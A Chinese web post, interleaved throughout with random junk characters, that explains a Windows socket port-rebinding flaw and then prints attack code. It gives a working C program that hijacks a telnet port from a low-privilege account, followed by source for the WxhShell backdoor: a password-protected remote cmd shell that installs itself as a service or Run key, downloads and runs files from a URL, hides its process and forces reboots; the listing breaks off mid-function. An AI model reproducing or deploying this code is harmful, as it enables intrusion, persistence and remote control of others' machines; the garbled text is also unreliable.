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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ClZ:#uMbN s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ,Yx"3i, 9ReH@5_bGM saddr.sin_family = AF_INET; I{#&!h>]U 49.
@Uzo saddr.sin_addr.s_addr = htonl(INADDR_ANY); 4pNIsjl} pd2Lc
$O@ bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); g%z'#E97 ]*b}^PQM^ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 =d07c W+N9~.q\^ 这意味着什么?意味着可以进行如下的攻击: 6b&<5,=d:
c
*<"& 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 8/ lv, m# +|6
'7Z(9 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) / O@'XWW 3u]#Ra~5 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 %g1{nGah 15PFnk6E| 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 &.XYI3Ab1 4-lG{I_S: 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 -) Lbb{ z 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 llG^ +*Y8t 1e=<df 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 UG)J4ZX qm30,$\c`~ #include 5:[<pY!s# #include fa#xEWaFr #include cH$zDm1 #include HzADz%~ DWORD WINAPI ClientThread(LPVOID lpParam); /58]{MfrJ int main() ~3p
:jEM.[ { r2:n
wlG WORD wVersionRequested; iq s DWORD ret; 9G)Sjn`AQ WSADATA wsaData; Yr9>ATR BOOL val; f n]rMH4> SOCKADDR_IN saddr; ?,Z[)5 ZN SOCKADDR_IN scaddr; $|0_[~0-n int err; (W*~3/@D SOCKET s; "YIrqk SOCKET sc; K.A!?U= int caddsize; i1ph{;C HANDLE mt; Q_p!;3 DWORD tid; .}KY*y wVersionRequested = MAKEWORD( 2, 2 ); pz'l9Gp;@ err = WSAStartup( wVersionRequested, &wsaData ); +h!OdWD9 if ( err != 0 ) { I%dFVt@ printf("error!WSAStartup failed!\n"); V0'T) return -1; e;LJdd } wSrq?U5q saddr.sin_family = AF_INET; A0L&p(i :Ja]Vt //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 YS$?Wz 1Ql\aO) saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); o+U]=q*|)$ saddr.sin_port = htons(23); j\V9o9D if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) qEd!g,Sx { Z1V%pg>]* printf("error!socket failed!\n"); Z4eu'.r-y~ return -1; P\"|b\O1 } eBZ^YY<*g val = TRUE; l=jfgsjc //SO_REUSEADDR选项就是可以实现端口重绑定的 d,"?tip/SX if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) _)4YxmK% { YuO-a$BP printf("error!setsockopt failed!\n"); GWs[a$| return -1; $`J'Y>` } C %l!"s^ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; +-=o16*{ ! //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 fX)C8J^=G //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 b>R/=tx 4H4U if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) FB<#N+L\ { b_Us%{ ret=GetLastError(); oH/6 printf("error!bind failed!\n"); A aLj.HR return -1; 'jv[Gcss3L } d8 1u listen(s,2); ?y( D_Nt L while(1) 5B+>28G% { Vc!` BiH caddsize = sizeof(scaddr); FU-YI" //接受连接请求 a}N m;5K sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); chjXsq#Q^ if(sc!=INVALID_SOCKET) y=!"++T]B< { *Vk%"rwaG mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); [da,SM if(mt==NULL) Vmj7`w& { a9rn[n1Q printf("Thread Creat Failed!\n"); $+` YP break; I>k>^ } imcq
H } q$vATT CloseHandle(mt);
t#s?: } L(tA~Z"k closesocket(s); ]w!gv
/; WSACleanup(); =2HR+ return 0; (eS/Q%ZGK } N>z<v\` DWORD WINAPI ClientThread(LPVOID lpParam) # 4E@y<l$ { u|m>h(O SOCKET ss = (SOCKET)lpParam; T(@y#09 SOCKET sc; D3#/*Ky unsigned char buf[4096]; .k5
TQt SOCKADDR_IN saddr; |*079v long num; j{,3! DWORD val; C2GF
N1i DWORD ret; >Lo 0,b$ //如果是隐藏端口应用的话,可以在此处加一些判断 b-e3i;T!}~ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 0RY{y n3 saddr.sin_family = AF_INET; I(fq4$ saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); VO ^[7Y saddr.sin_port = htons(23); V>}@--$c-r if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) X+;F5b9z { 'LZF^m _<< printf("error!socket failed!\n"); uSSnr#i^j return -1; !4uTi [e } d#:&Uw val = 100; Sfc0 ~1 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) S -j<O&h~C { SX)giQLU ret = GetLastError(); "oZ]/( return -1; 3ThCY` } J_tj9+r^ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) |B&KT { XHuY'\;- ret = GetLastError(); }5gAxR, return -1; bX#IE[Yp} } "&/:"~r if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) =E Cw' { WjZJQK printf("error!socket connect failed!\n"); m7X&"0X closesocket(sc); *OU>s;"$ closesocket(ss); p2}$S@GD return -1; 0T 2h3, } I}/o`oc while(1) lcgT9m# { PbOLN$hP //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 g|*2O}< //如果是嗅探内容的话,可以再此处进行内容分析和记录 l c)*HYqU //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 K1>.%m num = recv(ss,buf,4096,0); jR7 , b5 if(num>0) BQVpp,] send(sc,buf,num,0); {<~0nLyJS else if(num==0) EqzS={Olj break; nd
'K4q num = recv(sc,buf,4096,0); |D)NPN& if(num>0) :kSA^w8 send(ss,buf,num,0); PT4Xr=z = else if(num==0) JDv7jy break; jI@0jxF } S/-[OA>N closesocket(ss); e#Jx|Ej= closesocket(sc); Tz .! return 0 ; "UVqkw,vt } ]kLs2? \ V x1C4 ~k+"!'1 ========================================================== RC Fb&,51 7uJy<O
下边附上一个代码,,WXhSHELL ]d?`3{h9LD ,p\^n`A32 ========================================================== N8(xz-6 M= !Fb #include "stdafx.h" LFy5tX# Wq
7
c/| #include <stdio.h> S!8eY `C. #include <string.h> 9)l-5o:D #include <windows.h> N;tUrdgQ #include <winsock2.h> dA>t #include <winsvc.h> (V@g?|LZ #include <urlmon.h> #C,M8~Q7 *A2J[,?c #pragma comment (lib, "Ws2_32.lib") 6gwjrGje\ #pragma comment (lib, "urlmon.lib") aB<~T[H%h 6XUcJ0 #define MAX_USER 100 // 最大客户端连接数 CF9a~^+% #define BUF_SOCK 200 // sock buffer 3 D,PbAd #define KEY_BUFF 255 // 输入 buffer |$Dt6{h 4]nU%`Z1w #define REBOOT 0 // 重启 'vj45b #define SHUTDOWN 1 // 关机 OQaM4 7" kHd_q. #define DEF_PORT 5000 // 监听端口 'p-jMD}O {g\Yy(r
#define REG_LEN 16 // 注册表键长度 E-_)w #define SVC_LEN 80 // NT服务名长度 EU]{S=T 4IG=mG) // 从dll定义API GdEkA typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 0z/tceW'F typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 8#'<SB typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); \c>9f"jS_ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
Tn2Z{.q$ l_iucN // wxhshell配置信息 & S_gNa struct WSCFG { 1;3oGuHj8 int ws_port; // 监听端口 VJBVk8P char ws_passstr[REG_LEN]; // 口令 ,0NVb7F;k int ws_autoins; // 安装标记, 1=yes 0=no "o#"u[W, char ws_regname[REG_LEN]; // 注册表键名 ^Tc&?\3 char ws_svcname[REG_LEN]; // 服务名 <<@\K,= char ws_svcdisp[SVC_LEN]; // 服务显示名 5tHv'@ char ws_svcdesc[SVC_LEN]; // 服务描述信息 fL
ng[& char ws_passmsg[SVC_LEN]; // 密码输入提示信息 -(~Tu>KaH int ws_downexe; // 下载执行标记, 1=yes 0=no pBiC char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" 6=A2Y:8 char ws_filenam[SVC_LEN]; // 下载后保存的文件名 'VFxg, D/:~#) }; u /JEQz1 mm/U9hbp% // default Wxhshell configuration 1QtT*{zm$F struct WSCFG wscfg={DEF_PORT, 8Fx~i#F T "xuhuanlingzhe", XV1#/@H; 1, T[U&Y`3g "Wxhshell", (*7edc"F "Wxhshell", [%;LZZgl "WxhShell Service", E:xpma1Qf "Wrsky Windows CmdShell Service", $5yS`IqS "Please Input Your Password: ", ].]yqD4P 1, H)tYxW " http://www.wrsky.com/wxhshell.exe", ,&
=(DJ "Wxhshell.exe" (FbqKx'uq }; | ctGxS9 OgyETSN8C // 消息定义模块 ]kbmbO?M char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; `B) ~ char *msg_ws_prompt="\n\r? for help\n\r#>"; ?'CIt5n+\{ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; !tCw)cou char *msg_ws_ext="\n\rExit."; :N\*;> char *msg_ws_end="\n\rQuit."; Et(Q$/W char *msg_ws_boot="\n\rReboot..."; m46Q%hwV char *msg_ws_poff="\n\rShutdown..."; [|d:QFx char *msg_ws_down="\n\rSave to "; oc?,8I[P5 D^=_408\ char *msg_ws_err="\n\rErr!"; D#x D-c char *msg_ws_ok="\n\rOK!"; cbsy&U Mr<2I char ExeFile[MAX_PATH]; Wd~aSz9 int nUser = 0; =DvFY]9{ HANDLE handles[MAX_USER]; mC
n,I int OsIsNt; d,iW#, qg:R+`z SERVICE_STATUS serviceStatus; 'Z+w\0}@ SERVICE_STATUS_HANDLE hServiceStatusHandle; Y"D'|i L-^vlP)Vu // 函数声明 A`Z!=og= int Install(void); %CfJ.;BDNE int Uninstall(void); cn v4!c0 int DownloadFile(char *sURL, SOCKET wsh); _Z.lr\ int Boot(int flag); 49nZWv48"_ void HideProc(void); h/5n+*x( int GetOsVer(void); _2q4Aaza int Wxhshell(SOCKET wsl); zwN;CD1 void TalkWithClient(void *cs); ED"@!M`1 int CmdShell(SOCKET sock); Pr{? A]dQ int StartFromService(void); @j`_)Y\ int StartWxhshell(LPSTR lpCmdLine); Z}T<^
F f*Xonb VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); |]RV[S3v VOID WINAPI NTServiceHandler( DWORD fdwControl ); ^-w:D !(*mcYA*W // 数据结构和表定义 r7c(/P^$G SERVICE_TABLE_ENTRY DispatchTable[] = R/waWz\D { pB|L%#.cW {wscfg.ws_svcname, NTServiceMain}, 'v*
=}k {NULL, NULL} j.uN`cU! }; A)2vjM9}K e7t).s)b{ // 自我安装 p \; * : int Install(void) Vpt)?];P { [VT& char svExeFile[MAX_PATH]; QN9$n%Z HKEY key; ;tf1#6{ strcpy(svExeFile,ExeFile); bESmKe( VjtI1I // 如果是win9x系统,修改注册表设为自启动 U/>f" F if(!OsIsNt) { X, <l if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9<k<HmkD RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^b~&}uU RegCloseKey(key); $^.LZ1Jd if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3%/]y=rA RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Vl{CD>$, RegCloseKey(key); <&n3" return 0; },2-\-1 } jj0@ez{3 } hmtRs]7 } ?1xBhKq else { D%LqLLD +uM1#-+h // 如果是NT以上系统,安装为系统服务 .LEQ r) SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Fm3-Sn|Po if (schSCManager!=0) s{NEP/QQJ { >MUwT$szs SC_HANDLE schService = CreateService U`,&Q] ( /"- k
;jz schSCManager, g:q+.6va" wscfg.ws_svcname, gd_w;{WP wscfg.ws_svcdisp, Q
nDy mVF SERVICE_ALL_ACCESS, >a%NC'~rc SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , (s
%T18 SERVICE_AUTO_START, !w[<?+%%n SERVICE_ERROR_NORMAL, ^LfCLI9Z svExeFile, qDM/
6xO NULL, Z_iu^Q NULL, Ig'Y]%Z0 NULL, aj20, w NULL, y+(<Is0w NULL #~Lh#@h ); 6]\F_Z41 if (schService!=0) X9/V;! { % rdW: CloseServiceHandle(schService); P~#!-9? CloseServiceHandle(schSCManager); CJJ 1aM strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); '# "Z$ strcat(svExeFile,wscfg.ws_svcname); Y`LZ/Tgk if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { s^^X.z , RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); req=w;E: RegCloseKey(key); (i|`PA return 0; 6ApW+/ } ,M>W) TSH } ""^9WLH4g- CloseServiceHandle(schSCManager); Fw+JhIVP } N$/{f2iC } NSOWn]E )"WImf:*
return 1; ba%[! } V{HZ/p_Y ~1S7\e7{ // 自我卸载 Z%`}
`( int Uninstall(void) 3SpDV'} { lBR6O!sBP HKEY key; ";`ddN3 J,;;`sf if(!OsIsNt) { Ufq"_^4 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { DA]!ndJD RegDeleteValue(key,wscfg.ws_regname); P;VR[d4e/ RegCloseKey(key); X-3L4@T:? if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~"gOq"y5p RegDeleteValue(key,wscfg.ws_regname); s$C;31k RegCloseKey(key); yZb@ return 0; m/0G=%d%k } /_*: } :B$=Pp1 } [^"e~ else { <9"s&G@ z:+Xs!S SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ^M,t`r{ if (schSCManager!=0) ~NpnRIt { U>e@m? SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); V3yO_Iqa if (schService!=0) pA4/'7nCl { dWR?1sV|e if(DeleteService(schService)!=0) { 1Lqs>* CloseServiceHandle(schService); g|"z'_ CloseServiceHandle(schSCManager); O~">-'f return 0; g[8VfIe } 5G(y CloseServiceHandle(schService); s<E_74q1 } 6du"^g CloseServiceHandle(schSCManager); /P^@dL } xtpD/,2 } ~ZG>n{Q +ywWQ|V return 1; _=UXNr8S } O5_E"um hh+GW*'~ // 从指定url下载文件 d>@{!c- int DownloadFile(char *sURL, SOCKET wsh) jd]MC*% { (cC5zv*E HRESULT hr; rvw1'y char seps[]= "/"; `dEWP;#cp char *token; 9tl Fbu char *file; #kLM=a/_NO char myURL[MAX_PATH]; YX^{lD1Jj char myFILE[MAX_PATH]; #0!C3it6c wKk strcpy(myURL,sURL); !Z%QD\knY token=strtok(myURL,seps); 5:iril while(token!=NULL) (>WV) { CdWGb[uI file=token; %{zM> le9 token=strtok(NULL,seps); J)'6 z } %6Hn1'7+v HFo}r~ GetCurrentDirectory(MAX_PATH,myFILE); =xG9a_^v strcat(myFILE, "\\"); (9Hc`gd)p strcat(myFILE, file); -[^wYr= send(wsh,myFILE,strlen(myFILE),0); yQou8P=% send(wsh,"...",3,0); %}'sFum` hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); dN\pe@#lKP if(hr==S_OK) lD/+LyTa return 0; -z'@Mh|i6l else HK2`.'D return 1; \+cQiN b@ 8 ehC^Cg } m1daOeZ]P )h+JX8K)l // 系统电源模块 !Z4,UTu|Q int Boot(int flag) I, { laFkOQI HANDLE hToken; /Zm@.%. TOKEN_PRIVILEGES tkp; s-8>AW
ep NA0hQGN} if(OsIsNt) { G1|
Tu"
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Or_9KX2 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); SxOM@A tkp.PrivilegeCount = 1; N>]u;HjH tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; tH W"eag AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); |/p^e if(flag==REBOOT) { &TK% igL if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) sjaG%f&h return 0; `P# h?tZ } 8,B9y D else { [X~HUk?? if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) P!]DV$o return 0; JVXBm] } 9k$uo_i' } $1?YVA7 else { /iukiWeW if(flag==REBOOT) { d6M
d~$R if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Jwa2Y0 return 0; {ifYr(|p` } '4O1Y0K else { :!r_dmJ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) E~N}m7kTl/ return 0; L[O+9Yh } z6Mf>q } qbT].,?!U vWj|[| <rX return 1; &}P62& }
gZvl
D b,{?+8 // win9x进程隐藏模块 szKs9er& void HideProc(void) q@^=im { p\!+j@H: 1;H( HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); { >4exyu6 if ( hKernel != NULL ) `qr[0wM { `FmI?:Cv pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); f+F /`P% ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); yfaXScbE FreeLibrary(hKernel); :uMD$zF'5 } K_}vmB\2l &&>OhH` return; 5[;p<GqGN } b$M? _<G Dj %jrtT // 获取操作系统版本 O'j;"l~H| int GetOsVer(void) lRentNg0b { ZT|E1[Q OSVERSIONINFO winfo; C>j"Ck^< winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Ip<STz]- GetVersionEx(&winfo); C' ny 2>uA if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 3+(Fq5I return 1; -6 DfM, else Zcdt\;HKr return 0; uTn(fs)D } Bz]64/ -3bl!9h^ // 客户端句柄模块 *6=[Hmygi int Wxhshell(SOCKET wsl) 7gPkg63 { J9>uLz SOCKET wsh; N/^r9Nu struct sockaddr_in client; <5q:mG88 DWORD myID; ("IRv>} 0 "iOT14J!7 while(nUser<MAX_USER) 8=<d2u' { 191O(H int nSize=sizeof(client); ]D(%Ku,O% wsh=accept(wsl,(struct sockaddr *)&client,&nSize); %tmK6cY4Y if(wsh==INVALID_SOCKET) return 1; 8l)^#"ySA Tb~(?nY5 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); &Du!*V4A if(handles[nUser]==0) >Rx^@yQ!+z closesocket(wsh); o6oZk0 else :)%Vahu nUser++; N}zQ)]xz+r } <.RgMPi WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ,AACE7%l FFP>Y*v( return 0; |W{z,e01x } .Ml}cE$L <Gs)~T#' // 关闭 socket Rs5G5W@"A void CloseIt(SOCKET wsh) vek9. 4! ] { }1Q]C"hY closesocket(wsh); fWF\V[ nUser--; (hdP(U77 ExitThread(0); :`oYD } [u/g =^+u mu|#(u // 客户端请求句柄 t$R|lv5< void TalkWithClient(void *cs) i]xyD '0 { #OH# &{H lSl=6R SOCKET wsh=(SOCKET)cs; U0UOubA char pwd[SVC_LEN]; z8jQaI]j char cmd[KEY_BUFF]; uppA`> char chr[1]; u;;]S!:M int i,j; :+m|KC(Z vU&gFEWg while (nUser < MAX_USER) { !:a
pu! H?UmHwwE if(wscfg.ws_passstr) { C6:<.`iD87 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); g:O~1jq //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )\'U$ //ZeroMemory(pwd,KEY_BUFF); KS3
/ i=0; fg+Q7'*Vq while(i<SVC_LEN) { h#'(UZ fMI4'.Od // 设置超时 B k#68p fd_set FdRead; w/E4wp struct timeval TimeOut; ;40!2P8t FD_ZERO(&FdRead); (/tbe@< FD_SET(wsh,&FdRead); Gb~*[ TimeOut.tv_sec=8; Cddw\|'3 TimeOut.tv_usec=0; E(>RmPP=7 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); L:%;
Fx2 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); T6%*t#8r ld$LG6[PA if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); F=$2Gz
'RT pwd =chr[0]; D />REC^ if(chr[0]==0xd || chr[0]==0xa) { j*rra pwd=0; e*Sv}4e=. break; lmo>z'< } p!|ok#sW i++;
&tkkn2t } wQlK[F]!> ?&pjP,a // 如果是非法用户,关闭 socket k2_ " if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); HBV~`0O$ } B/c_pRl; srw5&s(3X send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); !2>gC"$nv send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); z2A7:[ Etg'"d@[ while(1) { oslV@v
F \[%[`m ZeroMemory(cmd,KEY_BUFF); ;vc$;54K YFy5>*W // 自动支持客户端 telnet标准 ]SFB_5Gb j=0; ,H'O`oV!1E while(j<KEY_BUFF) { kG:uXbUI' if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z; r}Gm cmd[j]=chr[0]; 0jro0f' if(chr[0]==0xa || chr[0]==0xd) { ]}<wS]1 cmd[j]=0; V+W,#5 break; JLp.bxx } &JVe-. j++; !6'j
W! } P"cc$lB~ I Ha)eeE$ // 下载文件 &|LZ%W0Fb if(strstr(cmd,"http://")) { {()8 Wr send(wsh,msg_ws_down,strlen(msg_ws_down),0); vHCz_ FV if(DownloadFile(cmd,wsh)) f5IO<(:E^ send(wsh,msg_ws_err,strlen(msg_ws_err),0); GE\@mu *pO else o6P)IZ1 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Mmq{]q~At } (@vu/yN else { q*SX.A>YR =1!wep" switch(cmd[0]) { ~^2Y*|{) w4<RV:Vmt // 帮助 O~.A} case '?': { vZ\~+qV,A send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); N1jj\.nB break; 3b
(I~ } g<-x"$(C& // 安装 /0>Cy\eN0 case 'i': { iEux`CcJ. if(Install()) CTv-$7# send(wsh,msg_ws_err,strlen(msg_ws_err),0); r5xu#%hgp; else a.L ?J send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Xhe2 5 break; )zkk%mE/IM } #(FG+Bk // 卸载 }rz}>((ZHF case 'r': { ;]3Tuq if(Uninstall()) ~T7\lJ{%G send(wsh,msg_ws_err,strlen(msg_ws_err),0); 44B)=p7
else \/I@&$"F send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7_)'Re# break; ,~`R{,N` } ZMQSy7 // 显示 wxhshell 所在路径 BaIH7JLZ8 case 'p': { }@_F( B char svExeFile[MAX_PATH]; 'Pk (
1: strcpy(svExeFile,"\n\r"); J~9l+? strcat(svExeFile,ExeFile); 0&E{[~Pv send(wsh,svExeFile,strlen(svExeFile),0); r5tC break; $rD&rsx6 } tbrjTeC // 重启
3#}5dO case 'b': { -&oJ@Aa send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Ho9 a#9 if(Boot(REBOOT)) RNE})B send(wsh,msg_ws_err,strlen(msg_ws_err),0); l 3bo else { ^$c+r%9k closesocket(wsh); 'kPc`)\ ExitThread(0); h lD0^8S } DfgqB3U[ break; WDNuR#J? } q|0Lu // 关机 p@!{Sh case 'd': { %b<cJ]F send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); U@yn%k9 if(Boot(SHUTDOWN)) !%>p;H%0 send(wsh,msg_ws_err,strlen(msg_ws_err),0); &$ZJfHD@ else { CKeT%3 closesocket(wsh); yPL1(i; ExitThread(0); ;2y3i5^k } #u`i4 break; 6a51bj!f } //S/pCqED // 获取shell GZ(
W64 case 's': { AAUFX/}8P CmdShell(wsh); sr1 `/
closesocket(wsh); `3m7b!0k ExitThread(0); E-\Wo3 break; XgE\q } RGvfy/T // 退出 97;`R[^J case 'x': { VgLrufJ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); xsn2Qn/P CloseIt(wsh); ".Z|zt6C break; hF|N81T } LldZ"%P // 离开 2ZW
{ case 'q': { 6V)P4ao send(wsh,msg_ws_end,strlen(msg_ws_end),0); o|FjNL closesocket(wsh); I(!i"b9 WSACleanup(); b8Gu<Q1k exit(1); },<(VhP break; FJxg9!%d } 6jz6
} 3VNYDY`> } VrDSN KCEBJ{jM // 提示信息 wj$l 093 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); x-J.*X/aB } l12Pj02 w } 3[`/rg, ,=!_7'm return; tbMf_-g } Mkc
x~3N})T5 // shell模块句柄 =
cQK^$6( int CmdShell(SOCKET sock) o3C7JG { PX!$w*q STARTUPINFO si; 39Nz>Nu: ZeroMemory(&si,sizeof(si)); cP8g.+ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; r2dU>U*:4 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; BJA&{DMHm PROCESS_INFORMATION ProcessInfo; EyU 5r$G char cmdline[]="cmd"; .tRp CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); m/M=.\] return 0; CYkU- } w4I&SLm-b LTsX{z // 自身启动模式 XR2Gw4] int StartFromService(void) s0EF{2<F { 8kn> ? typedef struct YF)uAJ Ak { MK1V1F` DWORD ExitStatus; 'c]Fhe fb DWORD PebBaseAddress; (*6kYkUK DWORD AffinityMask; *yX5g,52-| DWORD BasePriority; }.ZT?p\ ULONG UniqueProcessId; ?LxBH-o( ULONG InheritedFromUniqueProcessId; 5f#N$mh } PROCESS_BASIC_INFORMATION; Z+8Q{|Ev 8rV"? m`S PROCNTQSIP NtQueryInformationProcess; p"'knZG $%:=;1Jl static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; /-FvC^Fj static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;
,>C`| Jam&Rj, HANDLE hProcess; Yee%
